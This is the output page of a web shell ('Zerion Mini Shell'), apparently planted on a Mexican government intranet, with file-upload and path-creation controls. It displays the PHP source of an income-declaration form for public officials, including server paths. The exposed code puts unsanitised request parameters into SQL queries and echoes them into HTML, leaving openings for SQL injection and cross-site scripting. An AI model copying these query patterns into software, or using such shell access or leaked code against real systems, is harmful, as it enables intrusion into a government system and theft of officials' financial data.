%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/declaraciones/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/declaraciones/form_8.php

<?php

   include 'conexion.php';

?>

<script>

    function muestra_modal(){

          document.getElementById('alerta_anterior').style.display = "";

    }

    

    function sumaI1aI4() {

        let num1a = Number(document.querySelector("#II_1").value);

        let num2a = Number(document.querySelector("#II_2").value);

        let num3a = Number(document.querySelector("#II_3").value);

        let num4a = Number(document.querySelector("#II_4").value);

        let II_O = num1a + num2a + num3a + num4a;

        document.getElementById("II_O").value = II_O;

    }

    

    function sumaIaII() {

        let num1b = Number(document.querySelector("#I_O").value);

        let num2b = Number(document.querySelector("#II_O").value);

        let idA = num1b + num2b;

        document.getElementById("idA").value = idA;

    }

    

    function sumaAaB() {

        let num1c = Number(document.querySelector("#idA").value);

        let num2c = Number(document.querySelector("#idB").value);

        let idC = num1c + num2c;

        document.getElementById("idC").value = idC;

    }

    

    function mostrar_otro_instrumento(){

        a = document.getElementById('tipo_instrumento').value;

            

        if(a == 'OTRO(ESPECIFIQUE)'){

            document.getElementById('otro_instrumento').style.display = "";

        }else{

            document.getElementById('otro_instrumento').style.display = "none";

        }

    }

</script>



<?php

 

      

        

    $form       =   isset($_REQUEST['form']) ? $_REQUEST['form'] : '';

    $id_declaracion =       isset($_REQUEST['id_declaracion']) ? $_REQUEST['id_declaracion'] : '';

    $nueva_id       = isset($_REQUEST['nueva_id']) ? $_REQUEST['nueva_id'] : 0;

    $tipo       = isset($_REQUEST['tipo']) ? $_REQUEST['tipo'] : 0;

    

    $hay_datos = 0;

    

    $conf = new Configuracion();

    $conf->conectarBD();

     

    //Consulta datos de la declaracion actual. 

    $cons = "SELECT * FROM contraloria_declaracion_tab_8 WHERE id_declaracion=$id_declaracion";

    $rst1 = $conf->consulta($cons);

    

    if(count($rst1) > 0){

        $hay_datos = 1;

       

        $I 		            =	$rst1[0]['I'];

        $II 		        =	$rst1[0]['II'];

        $II_1 		        =	$rst1[0]['II_1'];

        $nombre_razon 		=	$rst1[0]['nombre_razon'];

        $tipo_negocio 		=   $rst1[0]['tipo_negocio'];

        $II_2 		        =	$rst1[0]['II_2'];

        $tipo_instrumento 	=	$rst1[0]['tipo_instrumento'];

        $otro_tipo_instru 	=	$rst1[0]['otro_tipo_instru'];

        $II_3 		        =   $rst1[0]['II_3'];

        $tipo_servicio 		=	$rst1[0]['tipo_servicio'];

        $II_4 		        =	$rst1[0]['II_4'];

        $tipo_ingreso 		=	$rst1[0]['tipo_ingreso'];

        $A 	            	=	$rst1[0]['A'];

        $B 	                =	$rst1[0]['B'];

        $C 		            =	$rst1[0]['C'];

        $observaciones 		=	$rst1[0]['observaciones'];

    }

    

    //Si no se encontraron datos de la delcaracion actual se busca datos de declaraciones anteriores.

    //siemre y cuando se trate de una declaracion de modificacion o de finalizacion.

    if(count($rst1) == 0 && ($tipo == 2 || $tipo == 3)){

        //verificar si hay declaracion anterior

        // $sql2 = "SELECT MAX(id_declaracion) AS id_declaracion_previa 

        //                 FROM contraloria_declaraciones 

        //                 WHERE id_usuario = $id_usuario AND id_declaracion!=$id_declaracion AND habilitado =1 AND anterior = 0  AND avance = 22";

        // $rst2 = $conf->consulta($sql2);

        

        $sql2 = "SELECT MAX(id_declaracion) AS id_declaracion_previa 

                                        FROM contraloria_declaraciones 

                                        WHERE id_usuario = $id_usuario AND id_declaracion!=$id_declaracion AND habilitado = 1 AND anterior = 0 AND finalizar = 1 ";

                                        $rst2 = $conf->consulta($sql2);

        

        if($rst2[0]['id_declaracion_previa'] != null){

            echo "<script>

                    muestra_modal();

                </script>";

            $id_declaracion_previa = $rst2[0]['id_declaracion_previa'];

            //una ves que tenemos el id consultamos los datos guardados.

            $sql3 = "SELECT * FROM contraloria_declaracion_tab_8 WHERE id_declaracion=$id_declaracion_previa";

            $rst3 = $conf->consulta($sql3);

            

            $I 		            =	$rst3[0]['I'];

            $II 		        =	$rst3[0]['II'];

            $II_1 		        =	$rst3[0]['II_1'];

            $nombre_razon 		=	$rst3[0]['nombre_razon'];

            $tipo_negocio 		=   $rst3[0]['tipo_negocio'];

            $II_2 		        =	$rst3[0]['II_2'];

            $tipo_instrumento 	=	$rst3[0]['tipo_instrumento'];

            $otro_tipo_instru 	=	$rst3[0]['otro_tipo_instru'];

            $II_3 		        =   $rst3[0]['II_3'];

            $tipo_servicio 		=	$rst3[0]['tipo_servicio'];

            $II_4 		        =	$rst3[0]['II_4'];

            $tipo_ingreso 		=	$rst3[0]['tipo_ingreso'];

            $A 	            	=	$rst3[0]['A'];

            $B 	                =	$rst3[0]['B'];

            $C 		            =	$rst3[0]['C'];

            $observaciones 		=	$rst3[0]['observaciones'];  

        }

    }

    

    

    

?>

<form data="toggle" method="POST" action="controller/guarda_form_8.php">

    <input type="hidden" name="form" value="<?php echo $form; ?>"></input>

    <input type="hidden" name="id_declaracion" value="<?php echo $id_declaracion; ?>"></input>

    <input type="hidden" name="nueva_id" value="<?php echo $nueva_id; ?>"></input>

    <input type="hidden" name="hay_datos" value="<?php echo $hay_datos; ?>"></input>

    <input type="hidden" name="tipo" value="<?php echo $tipo; ?>"></input>

    <div class = "tab">

        <div class="portlet box portlet-green" style="border: solid 1px; border-color: green;"><!-- Portlet datos generales-->

            <div class="portlet-header">

                <div class="caption">I-8. <?php if($tipo == 1) {echo 'INGRESOS NETOS DEL DECLARANTE, PAREJA Y / O DEPENDIENTES ECONÓMICOS (SITUACIÓN ACTUAL)';} if($tipo == 2) {echo 'INGRESOS NETOS DEL DECLARANTE, PAREJA Y / O DEPENDIENTES ECONÓMICOS (ENTRE EL 1 DE ENERO Y EL 31 DE DICIEMBRE DEL AÑO INMEDIATO ANTERIOR)';} 

                if($tipo == 3) {echo 'INGRESOS DEL AÑO EN CURSO A LA FECHA DE CONCLUSIÓN DEL EMPLEO, CARGO O COMISIÓN NETOS DEL DECLARANTE, PAREJA, Y/O DEPENDIENTES ECONÓMICOS ';}?>. </div>

                <div class="tools"><i>08 / 22</i></div>

            </div>

            <div class="portlet-body" style="padding: 30px;">

                <div class="alert alert-info alert-dismissible fade in" style="display:none;" id="alerta_anterior">

                    <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>

                    <strong>Info!</strong> Datos obtenidos de declaración anterior, modifique los datos si es necesario y de clic en Guardar.

                </div>

                <div class="row">

                <div class="alert alert-info" id="aviso" style="display:">

                      <strong>Info!</strong> Llene los campos de las cantidades solicitadas en números enteros (sin puntos '.' ni comas ','), en dado caso que no exista una cantidad marquela con un cero '0'. </p>

                </div>

                </div>

                <div class="row">

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>I. Remuneración <?php if($tipo == 2 or $tipo == 3) {echo 'anual';} else {echo 'mensual';} ?> neta del declarante por su cargo público (Por concepto de sueldos, honorarios, compensaciones, bonos y otras prestaciones) (cantidades netas después de impuestos). (MARQUE '0' SI NO CUENTA) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="I_O" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas." 

                                name="remunerecion_mensual" onkeyup="sumaI1aI4(),sumaIaII(),sumaAaB()" class="form-control" value="<?php echo $I; ?>" required  />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>II. Otros ingresos <?php if($tipo == 2 or $tipo == 3) {echo 'anuales';} else {echo 'mensuales';} ?> del declarante (Suma del II.1 al II.4) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="II_O" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas." 

                                name="otros_ingresos"  class="form-control" value="<?php echo $II; ?>" required disabled />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>II.1 Por actividad industrial, comercial y/o empresarial (Después de impuestos). (MARQUE '0' SI NO CUENTA) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="II_1" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas."  

                                name="por_actividad_industrialII" onkeyup="sumaI1aI4(),sumaIaII(),sumaAaB()" class="form-control" value="<?php echo $II_1; ?>" required  />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>Nombre o Razón social.</dt></label><span class='require'> </span>

                            <div class="input-icon left"><i class="fa fa-edit"></i><input id="cliente" type="text" pattern="[A-Za-zÀ-ÿ0-9ñÑ%/.,()+*° _-]{1,500}" title="No se admiten comillas o caracteres especiales." 

                                name="nombre_II_1" style="text-transform:uppercase;" oninput="this.value = this.value.toUpperCase()" class="form-control" value="<?php echo $nombre_razon; ?>" />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>Tipo de Negocio.</dt></label><span class='require'></span>

                            <div class="input-icon left"><i class="fa fa-edit"></i><input id="cliente" type="text" pattern="[A-Za-zÀ-ÿ0-9ñÑ%/.,()+*° _-]{1,500}" title="No se admiten comillas o caracteres especiales." 

                                name="tipo_negocio_II_1" style="text-transform:uppercase;" oninput="this.value = this.value.toUpperCase()" class="form-control" value="<?php echo $tipo_negocio; ?>" />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>II.2 Por actividad financiera (Rendimiento o Ganancias) (Después de impuestos). (MARQUE '0' SI NO CUENTA) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="II_2" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas." 

                                name="por_actividad_industrial" onkeyup="sumaI1aI4(),sumaIaII(),sumaAaB()" class="form-control" value="<?php echo $II_2; ?>" required  />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>Tipo de instrumento que generó el rendimiento o ganancia.</dt></label><span class='require'></span>

                            <select class="form-control" name="tipo_instrumento" onchange="mostrar_otro_instrumento();" id="tipo_instrumento">

                                <option value="<?php echo $tipo_instrumento; ?>" selected><?php echo $tipo_instrumento; ?></option>

                                <option value="CAPITAL">CAPITAL</option>

                                <option value="FONDOS DE INVERSIÓN">FONDOS DE INVERSIÓN</option>

                                <option value="ORGANIZACIONES PRIVADA">ORGANIZACIONES PRIVADA</option>

                                <option value="SEGURO DE SEPARACIÓN INDIVIDUALIZADO">SEGURO DE SEPARACIÓN INDIVIDUALIZADO</option>

                                <option value="VALORES BURSÁTILES">VALORES BURSÁTILES</option>

                                <option value="BONOS">BONOS</option>

                                <option value="OTRO(ESPECIFIQUE)">OTRO(ESPECIFIQUE)</option>

                            </select>

                        </div>

                    </div>

                    <div class="row" id="otro_instrumento" style="display: none; padding: 30px;" >

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>Especifique instrumento (en caso de otro).</dt></label><span class='require'> </span>

                            <div class="input-icon left"><i class="fa fa-edit"></i><input id="cliente" type="text" pattern="[A-Za-zÀ-ÿ0-9ñÑ%/.,()+*° _-]{1,500}" title="No se admiten comillas o caracteres especiales." 

                                name="otro_tipo_instru" style="text-transform:uppercase;" oninput="this.value = this.value.toUpperCase()" class="form-control" value="<?php echo $otro_tipo_instru; ?>"  />

                            </div>

                        </div>

                    </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>II.3 Por servicios profesionales, consejos, consultorías y/o asesorías (Después de impuestos). (MARQUE '0' SI NO CUENTA) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="II_3" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas." 

                                name="por_servicios" onkeyup="sumaI1aI4(),sumaIaII(),sumaAaB()" class="form-control" value="<?php echo $II_3; ?>" required  />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>Tipo de Servicio Prestado.</dt></label><span class='require'> </span>

                            <div class="input-icon left"><i class="fa fa-edit"></i><input id="cliente" type="text" pattern="[A-Za-zÀ-ÿ0-9ñÑ%/.,()+*° _-]{1,500}" title="No se admiten comillas o caracteres especiales." 

                                name="tipo_servicio_II_3" style="text-transform:uppercase;" oninput="this.value = this.value.toUpperCase()" class="form-control" value="<?php echo $tipo_servicio; ?>"  />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>II.4 Otros ingresos no considerados a los anteriores (después de impuestos). (MARQUE '0' SI NO CUENTA) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="II_4" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas." 

                                name="otros_ingresosII4" onkeyup="sumaI1aI4(),sumaIaII(),sumaAaB()" class="form-control" value="<?php echo $II_4; ?>" required  />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>Especificar tipo de ingreso (Arrendamiento, regalías, sorteos, concursos, donaciones, seguros de vida, etc.).</dt></label><span class='require'> </span>

                            <div class="input-icon left"><i class="fa fa-edit"></i><input id="cliente" type="text" pattern="[A-Za-zÀ-ÿ0-9ñÑ%/.,()+*° _-]{1,500}" title="No se admiten comillas o caracteres especiales." 

                                name="tipo_ingreso_II_4" style="text-transform:uppercase;" oninput="this.value = this.value.toUpperCase()" class="form-control" value="<?php echo $tipo_ingreso; ?>"  />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>A. Ingreso <?php if($tipo == 2 or $tipo == 3) {echo 'anual';} else {echo 'mensual';} ?> neto del declarante (Suma del numeral I y II) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="idA" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas." 

                                name="ingreso_A" class="form-control" value="<?php echo $A; ?>" required disabled />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>B. Ingreso <?php if($tipo == 2 or $tipo == 3) {echo 'anual';} else {echo 'mensual';} ?> de la pareja y/o dependientes económicos (Después de impuestos). (MARQUE '0' SI NO CUENTA) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="idB" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas." 

                                name="ingreso_B" onkeyup="sumaI1aI4(),sumaIaII(),sumaAaB()" class="form-control" value="<?php echo $B; ?>" required  />

                            </div>

                        </div>

                    </div>

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>C. Total de ingresos <?php if($tipo == 2 or $tipo == 3) {echo 'anuales';} else {echo 'mensuales';} ?> netos percibidos por el declarante, pareja y/o dependientes económicos (Suma de apartados A y B) - en MXN.</dt></label><span class='require'> *</span>

                            <div class="input-icon left"><i class="fa fa-dollar"></i><input id="idC" type="number" min="0" oninput="this.value = Math.abs(this.value)" pattern="[0-9]{1,10}" title="No se admiten comas." 

                                name="ingreso_C"  class="form-control" value="<?php echo $C; ?>" required disabled />

                            </div>

                        </div>

                    </div>

                </div>

                <div class="row">

                    <div class="col-md-12">

                        <div class="form-group"><label for="inputName" class="control-label"><dt>Aclaraciones / Observaciones</dt></label>

                            <div class="input-icon left"><textarea id="cliente" type="text" pattern="[A-Za-zÀ-ÿ0-9ñÑ%/.,()+*° _-]{1,500}" title="No se admiten comillas o caracteres especiales." 

                                name="observaciones1" value="<?php echo $observaciones; ?>" style="text-transform:uppercase;" oninput="this.value = this.value.toUpperCase()" class="form-control"><?php echo $observaciones; ?></textarea>

                            </div>

                        </div>

                    </div> 

                </div>

            </div>

        </div>

    </div><!-- Portlet datos generales-->

    <div class="form-actions">

        <div class="col-md-offset-5 col-md-6">

            <button type="submit" class="btn btn-success" name="Registrar">Guardar</button>

        </div>

    </div>

</form>

Zerion Mini Shell 1.0